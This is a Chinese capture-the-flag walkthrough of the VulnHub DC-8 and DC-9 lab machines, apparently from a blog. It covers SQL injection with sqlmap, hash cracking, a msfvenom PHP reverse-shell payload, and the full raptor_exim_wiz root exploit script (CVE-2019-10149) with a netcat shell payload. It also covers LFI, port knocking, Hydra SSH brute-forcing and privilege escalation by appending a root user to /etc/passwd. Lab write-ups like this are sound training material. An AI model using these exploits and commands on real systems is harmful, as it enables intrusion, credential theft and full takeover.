VulnHub-[DC-8-9]-系列通关手册
DC8-通关手册
DC-8是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验。
这个挑战有点复杂,既是实际挑战,又是关于在Linux上安装和配置的两因素身份验证是否可以阻止Linux服务器被利用的“概念证明”。
由于在Twitter上询问了有关双重身份验证和Linux的问题,也由于@ theart42的建议,最终导致了该挑战的“概念验证”部分。
这项挑战的最终目标是绕过两因素身份验证,获得root权限并读取唯一的标志。
下载地址:https://www.vulnhub.com/entry/dc-8,367/
运用的知识点
Drupal 7 SQL注入john破解HASHDrupal 7 后台编辑页面 GetshelleximSUID本地提权
信息搜集
拿到靶机先对它的 IP 进行端口扫描:
nmap -A -T4 192.168.1.147

由上图可见,它开放了 22(ssh)、80(http)两个服务端口,而 NMAP 帮我们检测出靶机的 CMS 是 Drupal 7!我寻思DC系列的靶机都是这个CMS?不废话,我们先来看看它的web页面:
http://192.168.1.147/

Drupal 7 SQL注入
经过在页面上的侦查,我发现有三个页面引起了我的注意:

他们的参数是 http://192.168.1.147/?nid=1 ,看上去像是一个SQL注入点,于是我手工判断是否存在注入,nid=2-1,结果它返回了nid=1 的页面,说明它存在注入!

随后掏出我的SQLMAP神器上去就是一顿梭哈获取到了管理员的账号和加密的HASH:
sqlmap -u 192.168.1.147/?nid=2 -D d7db -T users -C name,pass --dump
Database: d7db
Table: users
[2 entries]
+-------+---------------------------------------------------------+
| name | pass |
+-------+---------------------------------------------------------+
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+-------+---------------------------------------------------------+

john破解HASH
紧接着我用 KALI 自带的 john 开膛手杰克对他们两个密码一一破解!破解 admin 的 HASH 破解不出来:

破解 john 的密码为 turtle:

获取到 john 的密码后我用它的密码登陆到了网站后台:
http://192.168.1.147/user

Drupal 7 后台编辑页面 Getshell
登陆到网站的后台后我们需要获取到webshell!我在网站的 Webform 找到了可以编辑 PHP 的页面:



这个和 DC-7 靶机有点类似,都是通过后台编辑 PHP 页面来获取到 webshell!我首先是用 MSF 生成了一段 payload:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.128 lport=9999 -f raw

然后开启 MSF 监听模式:

最后把刚刚 MSF 生成的 Payload 放到网站的 PHP 编辑页面里:

保存后来到网站的 Contact Us 提交页面:

这个时候 Metasploit 就成功反弹得到了一枚 shell:

先让它切换到 shell 环境 然后使用 Python 得到一个 bash shell:
python -c 'import pty;pty.spawn("/bin/bash")'

获取到 shell 之后,我切换到 /home 目录发现只有一个用户 dc8user,但是它里面没有什么文件:

exim本地提权获取Flag
随后我使用 find 命令来查找具有 SUID 权限的文件命令发现了一个 exim4:
(PS:Exim是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件,该软件基于GPL协议开发,是一款开源软件。 该软件主要运行于类UNIX系统。)
find / -perm -u=s -type f 2>/dev/null

然后我又看了看 exim 的版本发现它的版本是 4.8.9:
exim --version

得到了软件的版本信息那么我们就可以去到 exploit-db 上去搜索有关于这个软件版本的相关漏洞:

由上图可见,它由两个 POC,一个是基于 Metasploit 的,一个是其他的!在 OSCP 考试中 Metasploit 只能使用一次,所以说我们不到万不得已尽量就不要使用 Metasploit!这是关于它的介绍和 EXP:
#!/bin/bash
#
# raptor_exim_wiz - "The Return of the WIZard" LPE exploit
# Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in Exim versions 4.87 to 4.91 (inclusive).
# Improper validation of recipient address in deliver_message()
# function in /src/deliver.c may lead to remote command execution.
# (CVE-2019-10149)
#
# This is a local privilege escalation exploit for "The Return
# of the WIZard" vulnerability reported by the Qualys Security
# Advisory team.
#
# Credits:
# Qualys Security Advisory team (kudos for your amazing research!)
# Dennis 'dhn' Herrmann (/dev/tcp technique)
#
# Usage (setuid method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m setuid
# Preparing setuid shell helper...
# Delivering setuid payload...
# [...]
# Waiting 5 seconds...
# -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
# Usage (netcat method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m netcat
# Delivering netcat payload...
# Waiting 5 seconds...
# localhost [127.0.0.1] 31337 (?) open
# id
# uid=0(root) gid=0(root) groups=0(root)
#
# Vulnerable platforms:
# Exim 4.87 - 4.91
#
# Tested against:
# Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz]
#
METHOD="setuid" # default method
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'
# usage instructions
function usage()
{
echo "$0 [-m METHOD]"
echo
echo "-m setuid : use the setuid payload (default)"
echo "-m netcat : use the netcat payload"
echo
exit 1
}
# payload delivery
function exploit()
{
# connect to localhost:25
exec 3<>/dev/tcp/localhost/25
# deliver the payload
read -u 3 && echo $REPLY
echo "helo localhost" >&3
read -u 3 && echo $REPLY
echo "mail from:<>" >&3
read -u 3 && echo $REPLY
echo "rcpt to:<$PAYLOAD>" >&3
read -u 3 && echo $REPLY
echo "data" >&3
read -u 3 && echo $REPLY
for i in {1..31}
do
echo "Received: $i" >&3
done
echo "." >&3
read -u 3 && echo $REPLY
echo "quit" >&3
read -u 3 && echo $REPLY
}
# print banner
echo
echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'
echo 'Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>'
echo
# parse command line
while [ ! -z "$1" ]; do
case $1 in
-m) shift; METHOD="$1"; shift;;
* ) usage
;;
esac
done
if [ -z $METHOD ]; then
usage
fi
# setuid method
if [ $METHOD = "setuid" ]; then
# prepare a setuid shell helper to circumvent bash checks
echo "Preparing setuid shell helper..."
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c
gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null
if [ $? -ne 0 ]; then
echo "Problems compiling setuid shell helper, check your gcc."
echo "Falling back to the /bin/sh method."
cp /bin/sh /tmp/pwned
fi
echo
# select and deliver the payload
echo "Delivering $METHOD payload..."
PAYLOAD=$PAYLOAD_SETUID
exploit
echo
# wait for the magic to happen and spawn our shell
echo "Waiting 5 seconds..."
sleep 5
ls -l /tmp/pwned
/tmp/pwned
# netcat method
elif [ $METHOD = "netcat" ]; then
# select and deliver the payload
echo "Delivering $METHOD payload..."
PAYLOAD=$PAYLOAD_NETCAT
exploit
echo
# wait for the magic to happen and spawn our shell
echo "Waiting 5 seconds..."
sleep 5
nc -v 127.0.0.1 31337
# print help
else
usage
fi

然后我吧 exp 复制到了 root.sh 里,当然你也可以吧这个 exp 下载到本地,再由本地上传到靶机服务器里,但是我嫌它麻烦,我直接 vi 编辑进去就可以了:

一切就绪之后先给它一个可执行的权限:
chmod 777 root.sh

按照脚本的提示运行 root.sh :
./root.sh -m netcat

然后 KALI 监听 4444 端口获取到一枚 root 权限的 shell:

最终也是在 /root 目录下获取到了 Flag!
DC9-通关手册
DC-9是 DC 系列的最后一个靶机了,这项挑战的最终目标是扎根并读取唯一的标志。
这个靶机有点意思,是通过频繁的爆破SSH最终通过写入用户到 passwd 提权才拿到的Flag。
下载地址:https://www.vulnhub.com/entry/dc-9,412/
运用到的知识点
SQL注入获取账号密码LFI本地文件包含漏洞knockd的保护SSH机制
绕过knockd限制暴力破解SSH
写入文件到passwd提权
信息搜集
获取到靶机 IP 后先对它进行端口扫描看看它开放了那些服务:
nmap -A -T4 192.168.1.148

可以看到,靶机只开放了 80(http),而22(ssh)被过滤了!应该是做了防护!我们先来看看它的 WEB 服务吧:

通过查看它的页面我发现它的页面上有一些用户的信息:

还有搜索的提交页面:


SQL注入获取账号密码
既然它搜索可以查询到相应到信息,那么说明它吧我们的条件带入数据库里查询了,很有可能会存在SQL注入!
按照我的思路,不管他三七二十一直接丢到Sqlmap里一顿梭哈!我先是使用Burp抓包:

把抓到的数据包保存到本地 post.txt 文件里:

最后丢到Sqlmap里跑发现是存在注入的:


最终获取到网站后台的管理员账号和密码HASH:
sqlmap -r post.txt -D Staff -T Users -C Username,Password --dump

通过解密得到了账号 admin 的密码为 transorbital1

LFI本地文件包含漏洞
获取到账号和密码后登陆到了网站到页面,其中发现了 manage.php 页面底部有一个提示引起了我的注意:File does not exist

翻译过来就是文件未找到!这个时候脑子里第一时间想到的就是 LFI!后来通过我 FUZZ 发现真的是存在本地文件包含漏洞:
http://192.168.1.148/manage.php?file=../../../../../../etc/passwd

绕过knockd限制暴力破解SSH
可以看到我们可以查看 passwd 文件,而之前我们通过sqlmap获取到了一堆账号和密码,而那些账号和 passwd 里的账号是一样的!那么我们就可以利用获取到的账号和密码挨个去碰撞看看能不能登陆到它的 SSH!
我先是把账号和密码保存到了 user 和 pass 里:


保存完后我尝试使用 Hydra 去爆破发现它连接请求被拒绝了:
hydra -L user -P pass 192.168.1.148 ssh

到了这里我们要知道关于 SSH 的三个机制:
如果需要远程访问计算机并启用了 Secure Shell (SSH) 连接,黑客就会尝试突破您的防线并控制您的计算机,您必须接受这个事实。尽管不能保证计算机不会被 “黑客” 占领,但是一些简单的解决方案有助于保护 SSH,可以让攻击困难一些。本文讨论三种技术:
1、把 SSH 的标准端口改为不常用的值并增强 SSH 配置,从而挡住最简单的攻击。
2、定义有限的用户列表,只允许这些用户登录。
3、完全隐藏允许 SSH 访问的事实,要求根据特殊的 “敲门” 序列识别有效用户。
首先进行排除法我们刚开始就对它进行端口扫描了,它只开放了两个端口,由此判断它的端口没有改变,排除一!
其次我们通过 LFI 发现 passwd 文件让我们得到了 SSH 的用户名,由此判断它的用户名是对的,排除二!
那么估计就是 SSH 被某些手段所隐藏了,我们需要根据特殊的“敲门”才能登陆到用户!
这个时候我通过查看了下面这篇文章找到了原因:
https://zhuanlan.zhihu.com/p/43716885
如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。
既然知道了原理之后我们就知道了如何去应对它了!借助偶像猪猪侠的话:只有对原理了然如心,你才能突破更多的限制!
如果目标服务器上按照了 knockd ,那么默认的配置文件就存放在 /etc/knockd.conf 里!那么我们就可以利用 LFI 去查看这个:
http://192.168.1.148/manage.php?file=../../../../../..//etc/knockd.conf
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
这个时候我们就得到了要“敲门”的序列号为:7469、8475、9842!紧接着我在 KALI 中安装了 knockd:
apt-get install knockd

安装完后我们只需要使用 knockd 进行“敲门”就可以使用 hydra 九头蛇爆破了:
knock 192.168.1.148 7469 8475 9842

hydra -L user -P pass 192.168.1.148 ssh

这个时候就成功爆破出三个用户:
[22][ssh] host: 192.168.1.148 login: janitor password: Ilovepeepee
[22][ssh] host: 192.168.1.148 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.1.148 login: joeyt password: Passw0rd
登陆到 janitor 用户后使用一些常规的提权操作后无果,但是我发现了一个隐藏目录,里面存放着一些密码:
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

很显然了作者想让我们挨个去登陆这些用户才能获取到 root !我再次把收集到的密码放到 pass 文件里然后再次爆破:

回炉再造之后我们又得到了一个用户:
[22][ssh] host: 192.168.1.148 login: fredf password: B4-Tru3-001
登陆成功后我查看有没有那些 sudo 权限的命令发现了一个 test:

尝试 sudo 运行这个文件发现它是一个 python 脚本:

写入文件到passwd提权
随后找到了这个文件所在的目录:
find / -name test.py 2>/dev/null
/opt/devstuff/test.py

查看 test.py 文件得到了它的代码:
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()

通过代码审计它这个脚本是通过 sys 模块,它是一个简单的数据追加程序。它将使用2个文件作为参数,然后将第一个文件的内容附加到第二个文件中。
关于 sys 模块大家可以看看这篇文章:https://blog.csdn.net/anndy_/article/details/76824540
最后我们通过 openssl 生成了一个账号密码然后写入到了 passwd :
关于 openssl 可以看看这篇文章:https://www.jianshu.com/p/e311a6537467
openssl passwd -1 -salt saul 123456
# 生成 passwd 密码的 hash 值

echo 'saul:$1$saul$HqxyWB6MwTZbm/LiAFFZX.:0:0::/root:/bin/bash' >> /tmp/raj
# 在 tmp 创建一个 raj 文件,里面是我们的密码
sudo ./test /tmp/raj /etc/passwd
# 运行 test 文件 把 raj 里的内容追加到 /etc/passwd 里
su saul
# 切换用户到 saul 成功获取 root 权限

最终也是在 /root 目录下拿到了 Flag 文件!
至此 DC 系列靶机已经完结~
VulnHub-[DC-8-9]-系列通关手册的更多相关文章
- vulnhub DC:1渗透笔记
DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...
- PNP8550(3.3V DC蜂鸣器) - 原理图系列
一.截图 watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQveGlhb2Jpbl9ITEo4MA==/font/5a6L5L2T/fontsize/400/fi ...
- upload-labs通关手册
最近在练习文件上传,所以记录一下自己练习的过程,既能帮助自己以后复习,同时也能帮到初学者. 主要用到的工具是Burpsuite.首先我们应该明白上传文件的目的是什么,通过上传文件将web后门上传并被成 ...
- vulnhub: DC 2
首先地址探测找到主机IP: root@kali:~# nmap -sn 192.168.74.139/24 Starting Nmap 7.80 ( https://nmap.org ) at 202 ...
- C# 通关手册(持续更新......)
String 常用静态方法 string.Compare(string str1,string str2,bool ignoreCase) 按照字典顺序比较字符串 当str1 > str2时,返 ...
- CentOS使用手册(一)
前言:全栈开发当然少不了服务器的配置与维护,本次打算参考网上资料和大地老师的视频写一个CentOS系列的手册,方便日后查阅. 本篇目录: 1.虚拟机上的CentOS基本安装流程 2.远程连接Linux ...
- DC靶机1-9合集
DC1 文章前提概述 本文介绍DC-1靶机的渗透测试流程 涉及知识点(比较基础): nmap扫描网段端口服务 msf的漏洞搜索 drupal7的命令执行利用 netcat反向shell mysql的基 ...
- N32G4系列——复用功能重映射(USART为例)
开发测试环境:SDK,N32G455x系列芯片 在国民MCU中G系列IO口有第二复用功能,这时需要用到重映射功能. 一.系列芯片手册定义 1.1.芯片IO口默认功能查看 如图,在该系列芯片的数据手册中 ...
- Java学习必备书籍推荐终极版!
Java 基础 <Head First Java>(推荐,豆瓣评分 8.7,1.0K+人评价): 可以说是我的 Java 启蒙书籍了,特别适合新手读当然也适合我们用来温故 Java 知识点 ...
随机推荐
- dede新增字段调用方法
各位在使用{dede:channel }标签的时候,难免会遇到因为现在字段不能满足业务需求,需要新增的情况(具体怎么新增字段自行百度). 但是新增的字段通过DEDE的标签是不能直接使用的,现在博主介绍 ...
- 一朵云、一张网、一体化 ——GRTN 打造最佳流媒体场景实践
阿里巴巴 GRTN 是面向流媒体云原生设计的,方便客户构建自己的流媒体云原生应用,让流媒体服务无处不在. 在近期召开的分布式云主题报告会上,阿里云资深技术专家卢日发表了题为<GRTN 打造阿里云 ...
- 推荐一个pycharm验证xpath表达式的插件XPathView + XSLT
使用Appium进行自动化测试,使用xpath元素定位,想验证xpath定位是否正确,可以使用在线的xpath验证网站,也可以使用这次推荐的插件XPathView + XSLT.
- css布局宽度自适应
随着各种终端的不断涌现,网页中的元素适应不同的分辨率变得特别重要,根据经验,涉及到宽度自适应的一共有四种情况: 左端固定,右边自适应:右端固定,左边自适应:两端固定,中间自适应:中间固定,两端自适应. ...
- [转载]CentOS 7 创建本地YUM源
本文中的"本地YUM源"包括三种类型:一是直接使用CentOS光盘作为本地yum源,优点是简单便捷,缺点是光盘软件包可能不完整(centos 7 Everything 总共才6.5 ...
- NOI.AC#2007-light【根号分治】
正题 题目链接:http://noi.ac/problem/2007 题目大意 \(n\)个格子排成一排,每个格子有一个\(0/1\)和一个颜色.开始每个格子都是\(0\),\(q\)次操作取反一个颜 ...
- asp.net core使用identity+jwt保护你的webapi(一)——identity基础配置
前言 用户模块几乎是每个系统必备的基础功能,如果每次开发一个新项目时都要做个用户模块,确实非常无聊.好在asp.net core给我们提供了Identity,使用起来也是比较方便,如果对用户这块需求不 ...
- (目录)Fortran学习笔记:开坑!!!
前言:因为某些原因,需要使用Fortran编写程序,记录下Fortran语法学习过程中的部分笔记.在此开坑记录,立下Flag,"希望年末能够更新完" Fortran 学习笔记 陈橙 ...
- 2020.12.14--Codeforces Round #104 (Div.2)补题
C - Lucky Conversion CodeForces - 146C Petya loves lucky numbers very much. Everybody knows that luc ...
- vj-E题Ehab and Path-etic MEXs
Ehab and Path-etic MEXs 题意:给定一棵树所有的边,对所有的边进行标号,询问任意两点Mex的最大值最小的的标号方案(输出任何一种). Mex(u,v)表示从u到v的简单路径中没有 ...